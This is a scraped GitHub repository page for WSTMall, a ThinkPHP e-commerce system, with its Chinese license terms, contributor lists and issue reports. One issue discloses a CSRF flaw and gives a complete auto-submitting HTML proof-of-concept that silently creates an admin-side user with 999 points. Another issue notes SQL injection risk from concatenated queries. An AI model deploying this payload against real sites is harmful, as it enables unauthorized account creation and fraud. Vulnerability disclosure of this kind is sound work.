wstmall / wstmall Goto Github PK

View Code? Open in Web Editor NEW

289.0 289.0 177.0 11.07 MB

基于thinkphp 3.2开发的开源多用户O2O商城系统

Home Page: http://www.wstmall.net

License: Other

PHP 37.15% HTML 25.97% CSS 9.66% JavaScript 27.07% Smarty 0.14% ApacheConf 0.01%

wstmall's Introduction

WSTMall安装协议

用户须知：

感谢您选择WSTMall电子商务系统（以下简称WSTMall），WSTMall电子商务系统由广州商淘信息科技有限公司（以下简称本公司）基于ThinkPHP框架开发并发布的多用户电商系统。本协议是您与广州商淘信息科技有限公司之间关于您使用WSTMall电子商务系统的法律协议。无论您是个人或组织 、盈利与否、用途如何（包括以学习和研究为目的），均需仔细阅读本协议。

使用协议：

WSTMall不是一个自由软件！【未经授权】您只能在不用于商业目的的前提下对程序代码进行修改和使用；不允许对程序代码以任何形式任何目的的再发布。
未经本公司书面授权许可无论用途如何、是否经过修改或美化、修改程度如何，只要使用本软件的整体或任何部分，软件首页顶部及页脚处的版权标识（Powered by WSTMall）和本公司下属网站（http://www.WSTMall.net）的链接都必须保留，不能清除或修改。

限制条款：

用户可通过购买《WSTMall商业授权许可》以获得约定的WSTMall电子商务系统的使用授权。
禁止在 WSTMall的整体或任何部分基础上以发展任何派生版本、修改版本或第三方版本用于重新分发。
授权用户可以根据需要对WSTMall进行必要的修改和美化，以适应用户的网站要求。WSTMall持有产品的全部版权。授权用户可以去除WSTMall网络外在的版权信息，去除外在版权信息后的产品的所有版权仍归本公司所有。

免责条款：

WSTMall及所附带的文件是作为不提供任何明确的或隐含的赔偿或担保的形式出售的。
用户同意自己承担使用本产品的风险，在适用法律允许的最大范围内，WSTMall在任何情况下不就因使用或不能使用本产品所发生的特殊的、意外的、非直接或间接的损失承担赔偿责任。即使用户已事先被WSTMall告知该损害发生的可能性。
用户利用本产品构建的网站的任何信息内容以及导致的任何版权纠纷和法律争议及后果与WSTMall无关，WSTMall对此不承担任何责任。

其他条款：用户一旦开始安装使用WSTMall，即被视为完全理解并接受本协议的各项条款，在享有上述条款授予的权力的同时，受到相关的约束和限制。协议许可范围以外的行为，造成违反本协议并构成侵权的，WSTMall有权随时终止授权，责令停止损害，并保留追究相关责任的权力。

联系我们: 广州商淘信息科技有限公司 WSTMall官方网站：http://www.wstmall.net WSTMall演示站：http://demo.wstmall.net 客服 Q Q：707563272 交流QQ群：50056937 联系电话: 020-85289921/18902295525 联系邮箱: [email protected]

wstmall's People

Stargazers

Watchers

Forkers

sushiwu haoljp zdsiyan andy521 fudaoji wuxutao wmk223 andyyes waiducom stonegithubs zhangweiwei0326 yeyecloud henry-fun mankwan lovenets szhuge1 li525628 chu888chu888 dream-seeker lgscofield flashgame im286er tangwaikei fcjailybo bozzcq adonis2014 vanloswang agileax joliny hcxiong smallevilbeast industrialtablet fjg1989 zhanma gg1122 meilunzhi yushunwei charlie-git liangcz yuandunlong vb2005xu xuanxu11 sxhao kaixlin l1291434519 charliephil torome skykain yh12345678 cole2295 xuping123 cjmi jackycgq ewanjav dlpc yang2765 highestgoodlikewater jvlstudio debenson liangdabiao langxj zhendeguoke1008 sunplay123 cxiaohui githubzhaoqian cftber yunpengfei wangyx0055 k12f popoimm kingchary qiujian444 mrtoms iwakevin lincome luoyuji flylzd iicc banketree dfc521 beclever parasuc e29denghy ginkgoleaf jgglg 872409 codewithyou zleicx jzxyouok augustpluscn luoshulin zhaomingliang guibinwu power9413 goodhappyer turboics steven-huang cjq ioshger0125 apoyl

wstmall's Issues

模块不存在问题

基于TP5的wstmall，根目录下upload文件夹，如果图片不存在，打开改图片地址就提示upload模块不存在。本地环境：windows+apache+php5.4

看了下代码，前端还好，后端model很多堆砌起来的sql处理，本来就在model里的方法还重新调用一次D实例方法调用自己，直接用$this调用就好了。
sql处理不是不好，但一些提交参数没有过滤之下很多容易被注入。
随便扫了一眼其中一个拼接的sql就有失误。
Apps/Home/Model/GoodsCatsModel.class.php这里的getGoodsCatsAndGoodsForIndex方法，
查询二级分类下的商品这条sql，left join了goods_attributes表, 主表goods跟goods_attributes表是one to many关系，但这样join了同一个商品当有多个属性值就会在列表里重复显示多次。如果用TP自带的Relation模型，就会聚合到同一条的数组属性值组集合里。

CSRF that can add user account

This vulnerability was found at the admin page.

As we can see,2 users' integral are 999. It was created by CSRF.

The POC is "a.html"as follow. .After admin login,if he open "a.html',it will add an user and the user's score is 999!!!

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:82/wstmall/index.php?m=Admin&c=Users&a=edit" method="POST">
      <input type="hidden" name="loginName" value="csrf_test" />
      <input type="hidden" name="loginPwd" value="123456" />
      <input type="hidden" name="userName" value="cr" />
      <input type="hidden" name="userQQ" value="" />
      <input type="hidden" name="userScore" value="999" />
      <input type="hidden" name="userTotalScore" value="99992" />
      <input type="hidden" name="userPhone" value="" />
      <input type="hidden" name="userPhoto" value="" />
      <input type="hidden" name="userStatus" value="1" />
      <input type="hidden" name="userSex" value="1" />
      <input type="hidden" name="userEmail" value="" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script> document.forms[0].submit(); </script>
  </body>
</html>

wstmall / wstmall Goto Github PK

wstmall's Introduction

wstmall's People

Stargazers

Watchers

Forkers

wstmall's Issues

模块不存在问题

建议还是不要自己写原生sql，重构用上ORM吧

CSRF that can add user account

This vulnerability was found at the admin page.

As we can see,2 users' integral are 999. It was created by CSRF.

The POC is "a.html"as follow. .After admin login,if he open "a.html',it will add an user and the user's score is 999!!!

Attacker can use this to earn integral maliciously

Recommend Projects

React

Vue.js

Typescript

TensorFlow

Django

Laravel

D3

Recommend Topics

javascript

web

server

Machine learning

Visualization

Game

Recommend Org

Facebook

Microsoft

Google

Alibaba

D3

Tencent